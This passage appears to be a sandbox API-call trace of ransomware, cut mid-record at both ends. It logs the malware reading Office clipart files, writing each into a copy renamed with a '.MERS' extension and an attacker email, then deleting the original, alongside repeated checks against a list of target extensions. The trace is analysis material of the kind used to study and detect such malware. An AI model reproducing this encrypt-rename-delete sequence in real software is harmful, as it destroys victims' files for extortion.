returned 63 [0268.519] lstrlenW (lpString=".1cd") returned 4 [0268.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.520] lstrlenW (lpString=".jpg") returned 4 [0268.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.520] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.520] lstrlenW (lpString="AN01174_.WMF") returned 12 [0268.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.527] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=27858) returned 1 [0268.527] CloseHandle (hObject=0x284) returned 1 [0268.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0268.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0268.532] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.532] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0268.532] GetLastError () returned 0x0 [0268.532] ReadFile (in: hFile=0x3ac, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0268.534] WriteFile (in: hFile=0x3e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0268.535] ReadFile (in: hFile=0x3ac, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.535] WriteFile (in: hFile=0x3e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.535] SetEndOfFile (hFile=0x3e8) returned 1 [0268.535] CloseHandle (hObject=0x3e8) returned 1 [0268.535] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.535] SetEndOfFile (hFile=0x3ac) returned 1 [0268.537] CloseHandle (hObject=0x3ac) returned 1 [0268.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0268.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.538] lstrlenW (lpString=".doc") returned 4 [0268.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.538] lstrlenW (lpString=".docx") returned 5 [0268.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.538] lstrlenW (lpString=".pdf") returned 4 [0268.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.538] lstrlenW (lpString=".xls") returned 4 [0268.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.538] lstrlenW (lpString=".xlsx") returned 5 [0268.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.538] lstrlenW (lpString=".ppt") returned 4 [0268.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.538] lstrlenW (lpString=".zip") returned 4 [0268.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.538] lstrlenW (lpString=".rar") returned 4 [0268.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.538] lstrlenW (lpString=".bz2") returned 4 [0268.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.538] lstrlenW (lpString=".7z") returned 3 [0268.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.538] lstrlenW (lpString=".dbf") returned 4 [0268.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.539] lstrlenW (lpString=".1cd") returned 4 [0268.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.539] lstrlenW (lpString=".jpg") returned 4 [0268.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.539] lstrlenW (lpString=".doc") returned 4 [0268.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString=".docx") returned 5 [0268.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.539] lstrlenW (lpString=".pdf") returned 4 [0268.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString=".xls") returned 4 [0268.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.539] lstrlenW (lpString=".xlsx") returned 5 [0268.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.539] lstrlenW (lpString=".ppt") returned 4 [0268.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.539] lstrlenW (lpString=".zip") returned 4 [0268.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.539] lstrlenW (lpString=".rar") returned 4 [0268.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString=".bz2") returned 4 [0268.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString=".7z") returned 3 [0268.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.539] lstrlenW (lpString=".dbf") returned 4 [0268.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.539] lstrlenW (lpString=".1cd") returned 4 [0268.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0268.540] lstrlenW (lpString=".jpg") returned 4 [0268.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.540] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.540] lstrlenW (lpString="AN01184_.WMF") returned 12 [0268.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0268.540] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3746) returned 1 [0268.540] CloseHandle (hObject=0x3ac) returned 1 [0268.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0268.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0268.540] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.540] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0268.541] GetLastError () returned 0x0 [0268.541] ReadFile (in: hFile=0x3ac, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xea2, lpOverlapped=0x0) returned 1 [0268.630] WriteFile (in: hFile=0x3e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0268.631] ReadFile (in: hFile=0x3ac, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.631] WriteFile (in: hFile=0x3e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.631] SetEndOfFile (hFile=0x3e8) returned 1 [0268.631] CloseHandle (hObject=0x3e8) returned 1 [0268.631] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.631] SetEndOfFile (hFile=0x3ac) returned 1 [0268.639] CloseHandle (hObject=0x3ac) returned 1 [0268.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0268.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.812] lstrlenW (lpString=".doc") returned 4 [0268.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.812] lstrlenW (lpString=".docx") returned 5 [0268.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.812] lstrlenW (lpString=".pdf") returned 4 [0268.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.812] lstrlenW (lpString=".xls") returned 4 [0268.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.812] lstrlenW (lpString=".xlsx") returned 5 [0268.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.812] lstrlenW (lpString=".ppt") returned 4 [0268.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.812] lstrlenW (lpString=".zip") returned 4 [0268.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.812] lstrlenW (lpString=".rar") returned 4 [0268.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.812] lstrlenW (lpString=".bz2") returned 4 [0268.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.812] lstrlenW (lpString=".7z") returned 3 [0268.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.812] lstrlenW (lpString=".dbf") returned 4 [0268.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.812] lstrlenW (lpString=".1cd") returned 4 [0268.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.813] lstrlenW (lpString=".jpg") returned 4 [0268.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.813] lstrlenW (lpString=".doc") returned 4 [0268.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString=".docx") returned 5 [0268.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.813] lstrlenW (lpString=".pdf") returned 4 [0268.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString=".xls") returned 4 [0268.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.813] lstrlenW (lpString=".xlsx") returned 5 [0268.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.813] lstrlenW (lpString=".ppt") returned 4 [0268.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.813] lstrlenW (lpString=".zip") returned 4 [0268.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.813] lstrlenW (lpString=".rar") returned 4 [0268.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString=".bz2") returned 4 [0268.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString=".7z") returned 3 [0268.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.813] lstrlenW (lpString=".dbf") returned 4 [0268.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.813] lstrlenW (lpString=".1cd") returned 4 [0268.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0268.813] lstrlenW (lpString=".jpg") returned 4 [0268.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.814] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.814] lstrlenW (lpString="AN01218_.WMF") returned 12 [0268.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0268.814] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3012) returned 1 [0268.814] CloseHandle (hObject=0x3e0) returned 1 [0268.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0268.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0268.814] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.814] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0268.815] GetLastError () returned 0x0 [0268.815] ReadFile (in: hFile=0x3e0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0268.934] WriteFile (in: hFile=0x3a4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0268.935] ReadFile (in: hFile=0x3e0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.935] WriteFile (in: hFile=0x3a4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.935] SetEndOfFile (hFile=0x3a4) returned 1 [0268.935] CloseHandle (hObject=0x3a4) returned 1 [0268.935] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.935] SetEndOfFile (hFile=0x3e0) returned 1 [0268.937] CloseHandle (hObject=0x3e0) returned 1 [0268.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0268.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.938] lstrlenW (lpString=".doc") returned 4 [0268.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.938] lstrlenW (lpString=".docx") returned 5 [0268.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.938] lstrlenW (lpString=".pdf") returned 4 [0268.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.938] lstrlenW (lpString=".xls") returned 4 [0268.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.938] lstrlenW (lpString=".xlsx") returned 5 [0268.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.938] lstrlenW (lpString=".ppt") returned 4 [0268.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.938] lstrlenW (lpString=".zip") returned 4 [0268.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.938] lstrlenW (lpString=".rar") returned 4 [0268.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.938] lstrlenW (lpString=".bz2") returned 4 [0268.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.938] lstrlenW (lpString=".7z") returned 3 [0268.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.939] lstrlenW (lpString=".dbf") returned 4 [0268.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.939] lstrlenW (lpString=".1cd") returned 4 [0268.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.939] lstrlenW (lpString=".jpg") returned 4 [0268.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.939] lstrlenW (lpString=".doc") returned 4 [0268.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.939] lstrlenW (lpString=".docx") returned 5 [0268.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.939] lstrlenW (lpString=".pdf") returned 4 [0268.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.939] lstrlenW (lpString=".xls") returned 4 [0268.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.939] lstrlenW (lpString=".xlsx") returned 5 [0268.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.939] lstrlenW (lpString=".ppt") returned 4 [0268.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.939] lstrlenW (lpString=".zip") returned 4 [0268.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.939] lstrlenW (lpString=".rar") returned 4 [0268.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.939] lstrlenW (lpString=".bz2") returned 4 [0268.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.940] lstrlenW (lpString=".7z") returned 3 [0268.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.940] lstrlenW (lpString=".dbf") returned 4 [0268.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.940] lstrlenW (lpString=".1cd") returned 4 [0268.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0268.940] lstrlenW (lpString=".jpg") returned 4 [0268.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.940] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.940] lstrlenW (lpString="AN04108_.WMF") returned 12 [0268.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft 